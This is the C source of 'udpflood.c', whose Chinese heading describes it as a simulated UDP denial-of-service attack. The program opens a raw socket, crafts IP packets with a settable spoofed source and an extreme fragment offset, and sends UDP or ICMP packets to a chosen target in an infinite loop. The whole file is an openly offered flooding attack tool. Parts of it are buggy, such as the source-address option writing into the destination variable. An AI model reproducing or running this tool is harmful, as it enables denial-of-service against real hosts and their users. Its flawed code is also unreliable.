udpflood.c

模拟udp 的dos攻击

#include <stdio.h> 
#include <stdlib.h>
#include <string.h> 
#include <netdb.h> 
#include <sys/socket.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <netinet/ip.h> 
#include <netinet/ip_icmp.h> 
#include <netinet/udp.h> 
#include <arpa/inet.h> 
#include <getopt.h> 
struct _pkt 
{ 
  struct iphdr   ip; 
  union { 
   struct icmphdr icmp; 
   struct udphdr  udp; 
  } proto; 
  char data; 
} pkt; 
int icmplen = sizeof(struct icmphdr), 
   udplen  = sizeof(struct udphdr), 
   iplen   = sizeof(struct iphdr), 
   spf_sck; 
void usage(char *pname) 
{ 
  fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", 
        pname); 
  fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n" 
); 
  exit(0); 
} 
u_long host_to_ip(char *host_name) 
{ 
  static u_long ip_bytes; 
  struct hostent *res; 
  res = gethostbyname(host_name); 
  if (res == NULL) 
   return (0); 
  memcpy(&ip_bytes, res->h_addr, res->h_length); 
  return (ip_bytes); 
} 
void quit(char *reason) 
{ 
  perror(reason); 
  close(spf_sck); 
  exit(-1); 
} 
int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) 
{ 
  int   bs, psize; 
  unsigned long x; 
  struct sockaddr_in to; 
  to.sin_family = AF_INET; 
  to.sin_port = 1235; 
  to.sin_addr.s_addr = dst_addr; 
  if (port) 
   psize = iplen + udplen + 1; 
  else 
   psize = iplen + icmplen + 1; 
  memset(&pkt, 0, psize); 
  pkt.ip.version = 4; 
  pkt.ip.ihl = 5; 
  pkt.ip.tot_len = htons(iplen + icmplen) + 40; 
  pkt.ip.id = htons(0x455); 
  pkt.ip.ttl = 255; 
  pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP); 
  pkt.ip.saddr = src_addr; 
  pkt.ip.daddr = dst_addr; 
  pkt.ip.frag_off = htons (8190); 
  if (port) 
  { 
   pkt.proto.udp.source = htons(port|1235); 
   pkt.proto.udp.dest = htons(port); 
   pkt.proto.udp.len = htons(9); 
   pkt.data = 'a'; 
  } else { 
   pkt.proto.icmp.type = ICMP_ECHO; 
   pkt.proto.icmp.code = 0; 
   pkt.proto.icmp.checksum = 0; 
  } 
  while (1) { 
   bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, 
          sizeof(struct sockaddr)); 
  } 
  return bs; 
} 
int main(int argc, char *argv[]) 
{ 
  u_long src_addr, dst_addr; 
  int i, bs=1, port=0; 
  char hostname[32]; 
  if (argc < 2) 
   usage (argv[0]); 
  gethostname (hostname, 32); 
  src_addr = host_to_ip(hostname); 
  while ((i = getopt (argc, argv, "s:p:h")) != EOF) 
  { 
   switch (i) 
   { 
     case 's': 
      dst_addr = host_to_ip(optarg); 
      if (!dst_addr) 
       quit("Bad source address given."); 
      break; 
     case 'p': 
      port = atoi(optarg); 
      if ((port <=0) || (port > 65535)) 
       quit ("Invalid port number given."); 
      break; 
     case 'h': 
     default: 
      usage (argv[0]); 
   } 
  } 
  dst_addr = host_to_ip(argv[argc-1]); 
  if (!dst_addr) 
   quit("Bad destination address given."); 
  spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); 
  if (!spf_sck) 
   quit("socket()"); 
  if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, 
     sizeof(bs)) < 0) 
   quit("IP_HDRINCL"); 
  do_frags (spf_sck, src_addr, dst_addr, port); 
}